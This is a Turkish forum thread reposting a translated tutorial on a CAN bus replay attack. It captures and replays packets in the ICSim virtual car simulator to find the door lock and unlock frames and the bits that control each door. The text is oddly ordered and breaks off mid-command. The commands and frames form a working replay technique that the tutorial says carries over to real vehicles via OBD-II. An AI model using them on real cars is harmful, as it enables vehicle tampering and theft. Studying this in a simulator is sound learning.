ÖN SÜRÜCÜ​
8​
4​
2​
1​
ALTIGEN
?​
?​
?​
?​
?​
Kilit açma biti 0 ise ön kapıları 0 değeriyle doldurabiliriz . 1 değeri kapıların kilitlenmesine neden olur, bu nedenle sonuç şöyle olur:
ARKA YOLCU​
ARKA SÜRÜCÜ​
ÖN YOLCU​
ÖN SÜRÜCÜ​
8​
4​
2​
1​
ALTIGEN
1​
1​
0​
0​
C​
Bunun ikili sonucu 1(8) + 1(4) + 0(2) + 0(1) = 8+4+0+0 = 12 olacaktır. Onaltılık biçimde 12, C'dir . Bu, CAN paketimizi şu şekilde değiştirir:

(1654550641.304018) VCAN0 19B # 00000 C 000000

Bu paketle başka bir dosya oluşturalım ve buna “unlockFront” adını verelim. Bu paketi ağda tekrar oynayarak ve sonucu izleyerek test edebiliriz.
pfqf601.png

Her kapıyı başarılı bir şekilde kontrol ediyoruz ve istediğimiz kilitsiz/kilitli kapı kombinasyonunu yapabiliyoruz.

Daha fazla öğrenmek ister misiniz?

Bu makalenin başlarında belirtildiği gibi, araba korsanlığı hakkında daha fazla bilgi edinmek ve konuya daha derin bir dalış yapmak için harika bir kaynak, Craig Smith'in The Car Hacker's Handbook adlı kitabında ele alınmaktadır . Araba hackleme konusunda daha fazla gerçek dünya deneyimi edinmek istiyorsanız,Car Hacking Village ,topluluğuna da göz atmanızı tavsiye ederim. Diğer bazı değerli kaynaklar,CSS Electronics,Illmatics'tir.

Çözüm

Bu makalede, bir CAN veri yolunun ne olduğunu, araç iletişiminde nasıl rol oynadığını, bir simülasyon yürütmek için gerekli araçları kurmayı ve kilit açma veya kilitleme komutunu göndermek için sanal araçtaki her bir kapıyı kontrol etmeyi tanımlayabildik.

Araba korsanlığı biraz riskli olabilir, bu nedenle bu bilgiyi simüle edilmiş bir ortamda veya dikkatli bir şekilde kullanmanızı öneririz.Gerçek bir aracı hacklemeye karar verirseniz, lütfen her türlü olasılığı göz önünde bulundurduğunuzdan emin olun ve bunun riski size aittir.

NOT:Yapılan Hacklerden Ben Veya TurkHackTeam Ailesi Sorumlu Değildir.Konunun Bazı Kısımları Alıntıdır :)
iUBacd.gif
q6iq2ex.jpg
Kaynakça da belirtmelisin bence alıntı deyip geçme iyi bir özet olmuş :)
 

'Börteçine

Yaşayan Forum Efsanesi
25 Şub 2016
7,532
738
Eline sağlık uzun zamandır gördüğüm en yararlı konu olmuş hepsini okuyamadım ama boş bir zamanda kesinlikle okuyacam
 

olympos_

Katılımcı Üye
3 Nis 2022
554
162
6t3q7nb.png

Selam millet! Pek çok kişinin bilmediği rastgele bir bilgisayar korsanlığı konusu hakkında başka bir blog gönderisi paylaşmaktan mutluluk duyuyorum: Araba Hacking! Bu maddenin geçerliliğine inanmakla birlikte, araçlardaki tek saldırı vektörü olmadığını baştan belirtmek isterim. Umarım bu, cihazların ve sistemlerin nasıl analiz edilebileceği ve bu denetimlerin bir saldırgan tarafından nasıl kullanılabileceği ve hatta kötüye kullanılabileceği konusunda bazı içgörüler elde etmek için yaratıcı bir şekilde düşünmenin başka bir yolu olarak hizmet eder.

Bilgisayar korsanlığının saldırı açısından geldiği genel nüansına rağmen, bilgisayar korsanlığı çabalarından elde edilebilecek faydalar vardır. Araçlar söz konusu olduğunda, bu, bir araçtaki belirli özelliklerin kilidinin açılması, daha önce var olan limitlerin kaldırılması veya olumlu sonuç verebilecek yeni teknolojinin yaratılmasına yardımcı olma şeklinde olabilir (bazı araba sigorta şirketlerinin sağladığı cihazlar gibi) bir müşteri 'iyi sürücü' indirimi alabilir). Bu fikirlerden burada bahsedilirken, o kadar derine inmeyeceğiz.

Ayrıca, bu makalede belirtilen kavramları denerseniz ve bunun olumsuz bir sonucu olursa, yazar veya Offensive Security'nin sorumlu tutulmayacağı söylenmelidir. Bir aracı hacklerken risk olabilir. Fiziksel bir aracı hacklemeye karar verirseniz, bunun riski size aittir. Neyse ki, bu makalede egzersiz fırsatları sağlamak ve uygulamalı deneyim kazanmak için sanal bir seçenek ele alınacaktır.

Bununla birlikte, bir CAN veri yolunun ne olduğunu açıklayarak başlayalım!

CAN veriyolu nedir?

CAN veri yolu (Denetleyici Alan Ağı veri yolu), bir aracın bileşenleri ile iletişim kurduğu merkezi bir ağdır. Bunu aracın elektrik sinyalleri ile çalışan birçok fonksiyonu olması açısından düşünebiliriz. Arabada kapı kilitleri, bir hız göstergesi, bir gaz göstergesi, frenler için kontroller, gaz pedalı için kontroller ve çok daha fazlası var. Bu cihazların çoğu, bu ağ üzerinden iletişim kurar.

OBD-II

OBD-II (Yerleşik teşhis 2) konnektörü, araç kodlarının kolayca teşhis edilmesini sağlayan araç üzerindeki bir bağlantı noktasıdır. Çoğu zaman araçlarımızı bir tamirciye getirdiğimizde aracın gönderdiği hata kodunu almak için bu porta bir bilgisayar cihazı takarlar. Bu, kontrol motoru ışığını açmış olabilecek sorunlar veya hatta bir göstergeyle sonuçlanmayan sorunlar için çok daha hızlı çözümler sağlar.

Bu bağlantı noktalarına erişim genellikle çok kolaydır. Normalde pedalların yanında ön panelin altında, direksiyon kolonunun arkasında ve hatta yolcu tarafında ön panelin altında bulunurlar. İşte OBD-II bağlantı noktasındaki bir fişin resmi:

pscogal.png

Bu porta fiziksel bir bağlantı sağlanması açısından CANtact gibi bir cihaz satın alınabilir hatta yapılabilir . Fiziksel cihazın kullanılması bu makalenin kapsamı dışında kalacaktır, ancak bu makalede ele alınan hack, ister fiziksel bir araçta ister sanal simülatörde yapılsın aynıdır. CAN veriyolunda iletişim kurmak için erişim noktası OBD-II bağlantı noktası olacaktır.

CAN Veri Yolu Ağı Temelleri

Yerel CAN veri yolu ağında, paketler bir hub gibi gönderilir ve alınır. Bir merkeze aşina olmayanlarınız için, veri paketleri tüm cihazlar tarafından görülebilir. Bu konudaki yabani otlara fazla girmek istemiyorum, ancak anahtarların veri paketlerinin bir hedeften diğerine paylaşımını kontrol ettiğini, oysa bir hub'ın paketleri o ağ cihazındaki herkese gönderdiğini bilin. Hub'lar gürültülüdür ve o ağa kulak misafiri olma özelliğinden dolayı güvensiz bir ağ cihazı olarak kabul edilir.

Bununla birlikte, bu makalenin esas olarak odaklanacağı kapı kilitlerini ele alalım. Kapımızdaki kilit düğmesine basarsak, CAN bus üzerinden ağdaki her cihaza bir elektrik sinyali gönderilir ve kapılar veri paketini yorumlar. Veri paketinde bir komut olacaktır: kilitle veya kilidini aç. Veri paketini alan kapılar, bu talimatı alacak ve veri paketindeki yönergeyi uygulayacaktır.

Araçta bulunan birçok cihaz bu şekilde çalışmakta, burada bir aksiyon tetiklenmekte, ağ üzerinden veri gönderilmekte ve veri paketinin tanımladığı ile ilgili cihaz harekete geçmektedir. Gaz pedalına basmak, ağda gaz akışının artmasını söyleyen veri paketlerinin gönderilmesine ve dolayısıyla arabanın daha hızlı gitmesine neden olur. Bu da, hız göstergesinin aracın gittiği uygun hızı yansıtması için yükselmesine neden olabilir. Hız göstergesinin yükselme miktarı, ağda gönderilen ve gaz pedalına ne kadar basıldığına bağlı olarak değişen talimatlara bağlı olacaktır.

Ağda gönderilen paketler iki bölümden oluşur: tanımlayıcı ve veriler. Tanımlayıcı, cihazın araçtaki temsilidir. Veri alanı, söz konusu cihazla tamamlanması gereken talimatı temsil eder. Aşağıdaki örneği ele alalım:

120 # F289632003200320

Paketin başlangıç bölümü tanımlayıcıdır. Bu durumda tanımlayıcı 120'dir. Paketin #'den sonra kalan kısmı veri alanıdır.

Örnek olarak bu tanımlayıcıyı ve veri segmentini kullanıyor olsak da, tanımlayıcının yıl, marka ve model olarak farklı araçlar arasında aynı olmayacağını bilmek önemlidir. 120'nin tanımlayıcısı, 2019 Honda Civic'teki gaz pedalı (gaz pedalı) olabilir, ancak 2022 Toyota Sienna'daki camlar olabilir. Bununla, tanımlayıcı etiketi olan bir aracın cihazlarını tanımlayabiliriz, ancak yalnızca aynı yıl/marka/modele sahip diğer araçlar, bu tanımlayıcı etiket değeriyle kontrol edilen aynı cihaza sahip olacaktır.

CAN veri yolu hakkında bilinmesi gereken son şey, paketlerin bu ağ üzerinden sürekli olarak gönderildiğidir, araçta herhangi bir güç olduğu sürece (yani motorun çalıştırılmasına gerek yoktur), ağ aktif olacaktır.

Hack nedir?

Bu durumda hack, CAN veri yolu ağına yapılan bir tekrar saldırısıdır. Ağda gönderilen paketleri dinleyebilir, bir eylemi manuel olarak tamamlayabilir (bizim durumumuzda kapıları kilitleme/kilit açma) ve aynı eylemin gerçekleşmesini sağlamak için paketleri ağa geri oynatabiliriz - kilitleme/kilit açma düğmelerine rağmen basılıyor.

Bu bilgisayar korsanlığı alıştırmasını tamamlamadan önce, dahili bir sanal simülatörde bunu yapmak için gerekli araçları nasıl kuracağımıza bir göz atalım.

Araçları Ayarlama

Aşağıdaki adımlar, VirtualBox üzerinde yeni bir Kali 2022.2 kurulumunda tamamlanmıştır. Bu makaleyi idare edilebilir bir uzunlukta tutmak için, bu VirtualBox veya Kali kurulumları ele alınmayacaktır. Kali-tweaks yardımcı programı, varsayılan iki satırlık çıktıyı tek bir satıra değiştirmek için de çalıştırıldı . Bu süreçte kuracağımız üç araç var:

  • ICSim (Enstrüman Kümesi Simülatörü)
  • Soketcand
  • Kayık
Öncelikle Kali makinemize önkoşul paketleri yükleyelim
Kod:
kali@kali:~$ sudo apt install libsdl2-dev libsdl2-image-dev can-utils maven autoconf

[sudo] password for kali:

…

Do you want to continue? [Y/n] Y
…
Çalışmak için bir “Car_Hacking” dizini oluşturalım ve o dizine girelim.
Kod:
kali@kali:~$ mkdir Documents/Car_Hacking
kali@kali:~/Documents/Car_Hacking$ cd Documents/Car_Hacking
Yeni oluşturulan dizinin içinde ICSim Git deposunu klonlayalım .
Kod:
kali@kali:~/Documents/Car_Hacking$ git clone https://github.com/zombieCraig/ICSim.git
Cloning into 'ICSim'...
remote: Enumerating objects: 135, done.
remote: Counting objects: 100% (5/5), done.
remote: Compressing objects: 100% (4/4), done.
remote: Total 135 (delta 1), reused 3 (delta 1), pack-reused 130
Receiving objects: 100% (135/135), 1.09 MiB | 2.68 MiB/s, done.
Resolving deltas: 100% (68/68), done.
Mevcut çalışma dizinimize klonlanmış ICSim deposu ile ICSim dizinine girelim ve gerekli ikiliyi yapmak için kodu derleyelim.
Kod:
kali@kali:~/Documents/Car_Hacking$ cd ICSim
kali@kali:~/Documents/Car_Hacking/ICSim$ sudo make
gcc -I/usr/include/SDL2   -c -o icsim.o icsim.c
gcc -I/usr/include/SDL2 -o icsim icsim.c lib.o -lSDL2 -lSDL2_image
gcc -I/usr/include/SDL2   -c -o controls.o controls.c
gcc -I/usr/include/SDL2 -o controls controls.c -lSDL2 -lSDL2_image
Car_Hacking dizinine geri dönelim ve socketcand deposunu da kopyalayalım .
Kod:
kali@kali:~/Documents/Car_Hacking/ICSim$ cd ..

kali@kali:~/Documents/Car_Hacking$ git clone https://github.com/linux-can/socketcand.git
Cloning into 'socketcand'...
remote: Enumerating objects: 923, done.
remote: Total 923 (delta 0), reused 0 (delta 0), pack-reused 923
Receiving objects: 100% (923/923), 273.95 KiB | 931.00 KiB/s, done.
Resolving deltas: 100% (547/547), done.
Yerine klonlanan socketcand deposu ile paketi yapılandıralım, derleyelim ve yükleyelim. Eksik bir dosya var, bu yüzden o dosyayı yerine kopyalayarak başlamamız gerekecek.
Kod:
kali@kali:~/Documents/Car_Hacking$ cd socketcand
kali@kali:~/Documents/Car_Hacking/socketcand$ wget https://raw.githubusercontent.com/dschanoeh/socketcand/master/config.h.in
https://raw.githubusercontent.com/dschanoeh/socketcand/master/config.h.in
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.109.133, 185.199.110.133, 185.199.111.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.109.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3773 (3.7K) [text/plain]
Saving to: ‘config.h.in’
config.h.in         100%[================>]   3.68K  --.-KB/s    in 0s  
2022-06-06 10:52:38 (80.8 MB/s) - ‘config.h.in’ saved [3773/3773]
Başlık dosyası yerindeyken paketi yapılandıralım, derleyelim ve yükleyelim.
Kod:
kali@kali:~/Documents/Car_Hacking/socketcand$ autoconf
configure.ac:6: warning: The macro `AC_CONFIG_HEADER' is obsolete.
configure.ac:6: You should run autoupdate.
./lib/autoconf/status.m4:719: AC_CONFIG_HEADER is expanded from...
configure.ac:6: the top level
kali@kali:~/Documents/Car_Hacking/socketcand$ ./configure
checking for gcc... gcc
checking whether the C compiler works... yes
…
kali@kali:~/Documents/Car_Hacking/socketcand$ make clean              
rm -f socketcand socketcandcl *.o
kali@kali:~/Documents/Car_Hacking/socketcand$ make  
gcc -Wall -Wno-parentheses -DPF_CAN=29 -DAF_CAN=PF_CAN -DHAVE_CONFIG_H   -I . -I ./include -o socketcand ./socketcand.c ./statistics.c ./beacon.c ./state_bcm.c ./state_raw.c ./state_isotp.c ./state_control.c -lpthread
gcc -Wall -Wno-parentheses -DPF_CAN=29 -DAF_CAN=PF_CAN -DHAVE_CONFIG_H   -I . -I ./include -o socketcandcl ./socketcandcl.c
kali@kali:~/Documents/Car_Hacking/socketcand$ sudo make install                                                  
mkdir -p /usr/local/bin
cp ./socketcand /usr/local/bin/
cp ./socketcandcl /usr/local/bin/
mkdir -p /usr/local/share/man
cp ./socketcand.1 /usr/local/share/man/
mkdir -p /etc/
install -m 0644 ./etc/socketcand.conf /etc/
if [ yes = yes ]; then mkdir -p /etc/init.d; install --mode=755 ./init.d/socketcand /etc/init.d/socketcand; fi
if [ no = yes ]; then install --mode=755 ./rc.d/socketcand /etc/rc.d/socketcand; fi
Socketcand yüklendikten sonra, "Car_Hacking" dizinine geri dönelim ve Kayak Git deposunu klonlayalım
Kod:
kali@kali:~/Documents/Car_Hacking/socketcand$ cd ..

kali@kali:~/Documents/Car_Hacking/$ git clone https://github.com/dschanoeh/Kayak.git
Cloning into 'Kayak'...
remote: Enumerating objects: 6298, done.
remote: Total 6298 (delta 0), reused 0 (delta 0), pack-reused 6298
Receiving objects: 100% (6298/6298), 2.90 MiB | 4.58 MiB/s, done.
Resolving deltas: 100% (1927/1927), done.
Artık Kayak dizinine geçebilir ve Maven ile paketi kurabiliriz.
Kod:
kali@kali:~/Documents/Car_Hacking/Kayak$ cd Kayak
kali@kali:~/Documents/Car_Hacking/Kayak$ mvn clean package
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
[INFO] Scanning for projects...
...

Hack'i Yürütme

Bu işlem için aynı anda birden fazla terminal sekmesi ile çalışmamız gerekecek. Bu işlevlerin her biri için ayrı bir sekmeye ihtiyacımız olacak:

  • Simülatörü çalıştır
  • Kontrolleri çalıştır
  • Veri paketlerini yakalayın ve yeniden oynatın
Simülatörü ilk sekmede başlatalım. Bunun ilk adımı vcan (sanal CAN) arayüzünü kurmaktır. ICSim dizinine geçelim ve kurulum betiğini çalıştıralım.
Kod:
kali@kali:~/Documents/Car_Hacking/Kayak$ cd ../ICSim

kali@kali:~/Documents/Car_Hacking/ICSim$ ./setup_vcan.sh
[sudo] password for kali:
Arayüz kurulumu ile yeni oluşturulan arayüz üzerinde sanal simülatörü başlatabiliriz. Bu, oluşturduğumuz ilk vcan arayüzü olduğu için vcan0 olacaktır.
Kod:
kali@kali:~/Documents/Car_Hacking/ICSim$ ./icsim vcan0  
Using CAN interface vcan0
Terminalde ikinci bir sekme açıp kontrollere başlayalım.
Kod:
kali@kali:~/Documents/Car_Hacking/ICSim$ ./controls vcan0
 Warning: No joysticks connected
Hangi sekmenin hangi işleve gittiğini takip etmek için terminal oturumu sekmelerini yeniden adlandırdım ve ICSim uygulaması açıkken ekran şimdi böyle görünüyor.
pcq7mtb.png

İstesek bilgisayara bir kumanda bağlayıp o kumandayı araç komutlarını değiştirmek için kullanabiliriz. Bu makale için, simülatörü manipüle etmek için klavye tuşlarını kullanacağız.
Bu, kontrollere ve bunların alet kümesi simülatörünü nasıl etkilediğine alışmak için iyi bir zaman olacaktır. CANBus Kontrol Paneli penceresi aktifken sanal aracımızı manipüle etmeye başlayabiliriz. Örneğin SOL ok tuşunu basılı tutarsak sola dönüş sinyalleri yanıp sönecektir. YUKARI oka basarsak , aracın hızlandığını simgeleyen hız göstergesi artacaktır. Yukarıdaki resimde tüm kapılar kilitli. Sağ SHIFT+A|B|X|Y tuşlarına basarsak , her seferinde bir kapının kilidi açılır. Sol SHIFT tuşu, kapı düğmelerinden herhangi birine basıldığında kapıları tekrar kilitleyecektir. Sol SHIFT'e ve ardından Sağ SHIFT'e basarsak, tüm kapıların kilidi açılır.

Bir kapının kilidi zaten açılmışsa, kapı zaten kilitsiz durumda olduğundan IC Simülatör penceresi bir değişiklik göstermeyecektir. Şimdilik, aracın tüm kapılarının kilidini açmaya ve kilitlemeye odaklanalım. Tüm kapılar kilitliyken başlayarak, tüm kapıların kilidini açmak için Sola SHIFT'e ve ardından Sağa SHIFT'e basacağız. Ardından, tekrar kilitlemek için Sağ SHIFT'e ve ardından Sol SHIFT'e basacağız . Aşağıdaki resimler, ekranın nasıl görünmesi gerektiğini göstermektedir.
mtc8dvz.png
https://www.offensive-security.com/wp-content/uploads/2022/08/DoorsUnlocked.png
9nm0s82.png

Şimdi, veri paketi yakalama ve yeniden oynatma ile çalışmak için başka bir sekme başlatalım. Dizin yapımızı dağınık hale getirmemek için, içinde çalışacağımız bir Demo dizini oluşturacağız.
Kod:
kali@kali:~/Documents/Car_Hacking$ mkdir Demo
kali@kali:~/Documents/Car_Hacking$ cd Demo
Artık Demo'da olduğumuza göre, loglama için -l seçeneği ile candump yardımcı programını vcan arabiriminde çalıştıralım .
Hiçbir şey yapmadan bunu 5 saniye çalıştıracağız ve dinleyiciyi durdurmak için CTRL-C tuşlarına basacağız.
Kod:
kali@kali:~/Documents/Car_Hacking/Demo$ candump vcan0 -l
Disabled standard output while logging.
Enabling Logfile 'candump-2022-06-06_141619.log'
^C
 kali@kali:~/Documents/Car_Hacking/Demo$ ls
candump-2022-06-06_141619.log
Hiçbir şey yapmamamızın ve yalnızca dinleyiciyi başlatıp durdurmaya odaklanmamızın nedeni, bir CAN veri yolu ağının ne kadar gürültülü olabileceğini göstermektir. Bir satır sayımı için kelime sayma komutunu ( wc ) çalıştıralım ve dinleyicimizin açık olduğu 5 saniyede kaç paket gönderildiğini gözlemleyelim.
Kod:
kali@kali:~/Documents/Car_Hacking/Demo$ wc -l candump-2022-06-06_141619.log
13757 candump-2022-06-06_141619.log
Dinleyicinin 5 saniyesi içinde ağa 13.757 paket gönderildi. Henüz kontrolörle herhangi bir komut bile göndermedik!

Daha fazla ilerlemeden önce, oyun planımızı ortaya koyalım. Bu hack için, kapıları manipüle etmekten hangi tanımlayıcının sorumlu olduğunu belirlemek istiyoruz. Mümkün olduğunca çabuk, şu adımları uygulayacağız:
  1. vcan0 arabiriminde oturum açarak candump'ı başlatın
  2. CANbus Kontrol Paneli penceresini aktif hale getirin
  3. Tüm kapıların kilidini aç
  4. tüm kapıları kilitle
  5. Candump terminal penceresinde tıklayın
  6. Ağ yakalamayı durdurmak için CTRL-C'ye basın
Amacımız, günlük dosyasını olabildiğince küçük tutmak için yukarıdaki adımları olabildiğince çabuk tamamlamaktır. Dosyaları karıştırmamak için başlamadan önce önceki günlüğü de sileceğiz.
Kod:
kali@kali:~/Documents/Car_Hacking/Demo$ rm candump-2022-06-06_141619.log
kali@kali:~/Documents/Car_Hacking/Demo$ candump vcan0 -l                
Disabled standard output while logging.
Enabling Logfile 'candump-2022-06-06_142359.log'
^C
Yukarıda listelenen adımlar tamamlandı ve terminal çıktısı yukarıda gösterildi. Yeni oluşturduğumuz log dosyasında satır sayısını göstermek için wc komutunu çalıştıralım
Kod:
kali@kali:~/Documents/Car_Hacking/Demo$ wc -l candump-2022-06-06_142359.log
9293 candump-2022-06-06_142359.log
Artık ağda gönderilen 9.293 paket içeren yeni bir günlük dosyamız var.

Şimdi bu günlük dosyasını ağa geri oynatmak ve IC Simulator penceresini izlemek için canplayer yardımcı programını kullanalım. Her şey yolunda giderse, kapıların kilidinin açılıp tekrar kilitlendiğini göreceğiz. -I (büyük harf) seçeneği ile log dosyamızı belirtebiliriz .
Kod:
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I candump-2022-06-06_142359.log
Ne yazık ki, bir makale sonuçları paylaşmanın en kolay yolu değildir. Bu etkinliği yaparken, günlük dosyamızı yeniden oynatmak, sanal aracın kapılarının kilidinin açılmasına ve tekrar kilitlenmesine neden oldu.

Günlük tekrarının istek üzerine çoğaltmak istediğimiz eylemi gerçekleştirdiğini doğruladığımıza göre, kapı işlemlerinden hangi paketlerin sorumlu olduğunu bulma algoritmasına bakmamız gerekiyor. Aşağıdaki görüntü, Craig Smith tarafından yazılan “The Car Hacker's Handbook”un 77. sayfasından alınmıştır.
ddytwpx.png
Doğrulanmış günlük dosyası istediğimiz eylemi gerçekleştirirken, eylemin dosyanın neresinde gerçekleştiğine dair en iyi tahminde bulunabiliriz. Bu tahminle, dosyanın ilk yarısını veya son yarısını oynatmaya karar verebiliriz. Orijinal dosyayı ikiye böleceğiz ve canplayer yardımcı programı ile tekrar oynatacağız. Yeni dosyayı yeniden yürüttüğümüzde, IC Simulator penceresinde istenen eylemin gerçekleşip gerçekleşmediğini izleyeceğiz. Yeniden oynatılan dosya simülatörde etkiye neden oluyorsa, o dosyayı tekrar ikiye böleceğiz ve yarılardan birini yeniden oynatacağız. Simülatörde etkiye neden olmazsa, dosyanın diğer yarısını alabilir, tekrar oynatabilir ve eylemin dosyanın bu yarısında olduğunu doğrulayabiliriz.

Bu algoritmanın yeterince yinelenmesiyle, kapıların kilidini açmaktan sorumlu CAN paketini izole edebileceğiz. Ayrıca bu günlük dosyasını yarıya indirme sürecinde , dosyayı tekrar oynatmadan önce kapıları kilitlemek için CANbus Kontrol Paneli penceresindeki kontrolleri manuel olarak kullanmamız gerekecek bir noktaya geleceğiz . Unutmayın, kapılar zaten açık durumdaysa IC Simülatörü bir değişiklik göstermez.

-n seçeneğiyle head veya tail kullanabilir ve dosyanın yaklaşık yarısını yeniden oynatmak için alabiliriz. Her yinelemeyi açıklamadan, kapı kilidi açma CAN paketinin tanımlanmasına ulaşmak için komut çıktısını burada bulabilirsiniz:

Kod:
kali@kali:~/Documents/Car_Hacking/Demo$ head -n 4600 candump-2022-06-06_142359.log > split1
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split1
kali@kali:~/Documents/Car_Hacking/Demo$ wc -l split1                    
4600 split1
kali@kali:~/Documents/Car_Hacking/Demo$ tail -n 2300 split1 > split2
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split2
kali@kali:~/Documents/Car_Hacking/Demo$ tail -n 1100 split2 > split3
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split3
kali@kali:~/Documents/Car_Hacking/Demo$ head -n 500 split3 > split4
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split4    
kali@kali:~/Documents/Car_Hacking/Demo$ head -n 200 split4 > split5
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split5    
kali@kali:~/Documents/Car_Hacking/Demo$ #Doors didn't unlock
kali@kali:~/Documents/Car_Hacking/Demo$ tail -n 200 split4 > split5
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split5    
kali@kali:~/Documents/Car_Hacking/Demo$ tail -n 100 split5 > split6
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split6
kali@kali:~/Documents/Car_Hacking/Demo$ tail -n 100 split5 > split6
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split6    
kali@kali:~/Documents/Car_Hacking/Demo$ head -n 50 split6 > split7
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split7    
kali@kali:~/Documents/Car_Hacking/Demo$ head -n 25 split7 > split8
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split8    
kali@kali:~/Documents/Car_Hacking/Demo$ #Doors didn't unlock
kali@kali:~/Documents/Car_Hacking/Demo$ tail -n 25 split7 > split8
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split8    
kali@kali:~/Documents/Car_Hacking/Demo$ tail -n 10 split8 > split9
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split9    
kali@kali:~/Documents/Car_Hacking/Demo$ #Doors didn't unlock  
kali@kali:~/Documents/Car_Hacking/Demo$ head -n 10 split8 > split9
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split9    
kali@kali:~/Documents/Car_Hacking/Demo$ tail -n 5 split9 > split10
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split10  
kali@kali:~/Documents/Car_Hacking/Demo$ tail -n 2 split10 > split11
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split11    
kali@kali:~/Documents/Car_Hacking/Demo$ #Doors didn't unlock
kali@kali:~/Documents/Car_Hacking/Demo$ head -n 2 split10 > split11
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split11    
kali@kali:~/Documents/Car_Hacking/Demo$ #Doors didn't unlock                                                                          
kali@kali:~/Documents/Car_Hacking/Demo$ cat split10
(1654550641.303029) vcan0 17C#0000000010000030
(1654550641.303046) vcan0 18E#00007A
(1654550641.304018) vcan0 19B#000000000000
(1654550641.305246) vcan0 294#040B0002CF5A002C
(1654550641.305260) vcan0 21E#03E8374522062F
Ağ trafiği tekrarının son kısmı, 5 satırın son 2'sini ve ardından 5 satırın ilk 2'sini aldı. Her iki bölünmüş dosya çalışmadan, bu dosyanın ortasının kapıların açılmasını kontrol eden paket olduğunu anlayabiliriz. Yine de bunu sadece bir kesintiye bırakmayalım. Bu satırı, “doorsUnlock” adlı kendi dosyasına kopyalayalım ve davranışı gözlemlemek için o dosyayı yeniden oynatalım.
Kod:
kali@kali:~/Documents/Car_Hacking/Demo$ echo '(1654550641.304018) vcan0 19B#000000000000' > doorsUnlock
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I doorsUnlock
4hr7p7j.png

IC Simülatöründeki kapılar bu tek CAN paketi ile açıldı. Bu paketin içeriğini inceleyelim.https://www.offensive-security.com/wp-content/uploads/2022/07/04.png

(1654550641.304018) VCAN0 19B # 000000000000

Paketin ilk vurgulanan bölümü tanımlayıcıdır. Bu, kapıların onaltılık 19B kodunun bir cihaz işaretleyicisi ile tanımlandığı anlamına gelir . Paketin vurgulanan ikinci kısmı verilerdir. Bu durumda, verilerin tümü 0'lara ayarlanmıştır , bu nedenle bu, kapı talimatı gönderme ihtiyacımız için pek yardımcı olmaz.

İşlemimizin başında da kapıyı kilitlemiş olmamızın nedeni budur. Bilinen kapı tanımlayıcısı ile, paketin veri kısmında hangi varyasyonların var olduğunu görmek için bu tanımlayıcı için orijinal paket yakalamayı arayabiliriz. 19B için orijinal dosyada grep komutunu çalıştıralım .
Kod:
kali@kali:~/Documents/Car_Hacking/Demo$ grep 19B candump-2022-06-06_142359.log (1654550641.304018) vcan0 19B #00000 0 000000  (1654550642.133853) vcan0 19B #00000 F 000000  (1654550642.366332) vcan0 244#000000019B
Tanımlayıcı aradığımız şeyle eşleşmediğinden, yukarıdaki çıktıda görüntülenen son satırı yok sayabiliriz. Kapı veri paketleri, üçüncü baytın ikinci yarımında değiştirilir. Data bölümünde F ile satırı alıp “doorsLock” adında yeni bir dosya oluşturalım. Daha sonra bunu tekrar oynatacağız ve bu paketin tüm kapıları kilitleyip kilitlemeyeceğini belirlemek için IC Simulator penceresini izleyeceğiz.

Kod:
kali@kali:~/Documents/Car_Hacking/Demo$ echo '(1654550642.133853) vcan0 19B#00000F000000' > doorsLock
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I doorsLock
3yua3m2.png
Kapılar artık tek bir veri paketi ile kilitlenmiştir.

Verileri Daha Fazla Analiz Etme

CAN veri yolu aracılığıyla tüm araba kapılarının kilidinin açılmasını ve kilitlenmesini başarıyla yakaladık ve yeniden oynattık. Verileri daha fazla analiz edebilir ve kapıları hep ya da hiçten daha ayrıntılı bir şekilde kontrol edip edemeyeceğimizi görebiliriz. İki CAN paketini tekrar gözden geçirelim:

(1654550641.304018) VCAN0 19B # 000000000000

(1654550642.133853) VCAN0 19B # 00000 F 000000

Daha önce belirttiğimiz gibi, veriler üçüncü baytın ikinci yarım baytında değiştirilir. Bu küçük parçayı ikili formatına ayırırsak, onu şu şekilde gösterebiliriz:
8​
4​
2​
1​
ALTIGEN
0​
0​
0​
0​
0​
1​
1​
1​
1​
F​
Tüm kapıların kilidini açan paket, o kemirmeyi 0 olarak temsil eder . Tüm kapıları kilitleyen paket yarım baytlığı onaltılık F olarak temsil eder . Bunu ikiliye bölmek, 16 olası kapı kombinasyonu verir. 16 varyasyonun hepsini test etmek yerine, hangi bitin hangi kapıyı kontrol ettiğini manuel olarak belirlemeye çalışalım. Bunu yapmak için aşağıdaki organizasyonla 4 dosya daha oluşturmayı düşünebiliriz:
8​
4​
2​
1​
ALTIGEN​
KAPI​
1​
0​
0​
0​
8​
?​
0​
1​
0​
0​
4​
?​
0​
0​
1​
0​
2​
?​
0​
0​
0​
1​
1​
?​
Artık hangi bitin hangi kapıyı kontrol ettiğini belirlemek için 4 ayrı dosya oluşturabilir ve tekrar oynatabiliriz. Yeni veri paketleri şöyle görünecek ve her biri kendi dosyasında olacak:

(1654550641.304018) VCAN0 19B # 00000 8 000000

(1654550642.133853) VCAN0 19B # 00000 4 000000

(1654550641.304018) VCAN0 19B # 00000 2 000000

(1654550642.133853) VCAN0 19B # 00000 1 000000

Kod:
kali@kali:~/Documents/Car_Hacking/Demo$ echo '(1654550642.133853) vcan0 19B#000008000000' > doors8
